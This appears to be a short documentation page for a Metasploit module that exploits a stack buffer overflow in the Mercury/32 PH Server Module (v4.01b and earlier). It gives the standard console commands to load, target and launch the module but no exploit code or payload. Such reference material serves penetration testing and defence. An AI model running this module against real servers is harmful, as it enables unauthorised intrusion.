This module exploits a stack-based buffer overflow in Mercury/32 <= v4.01b PH Server Module. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed size memory buffer.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/misc/mercury_phonebook
msf exploit(mercury_phonebook) > show targets
...targets...
msf exploit(mercury_phonebook) > set TARGET < target-id >
msf exploit(mercury_phonebook) > show options
...show and set options...
msf exploit(mercury_phonebook) > exploit
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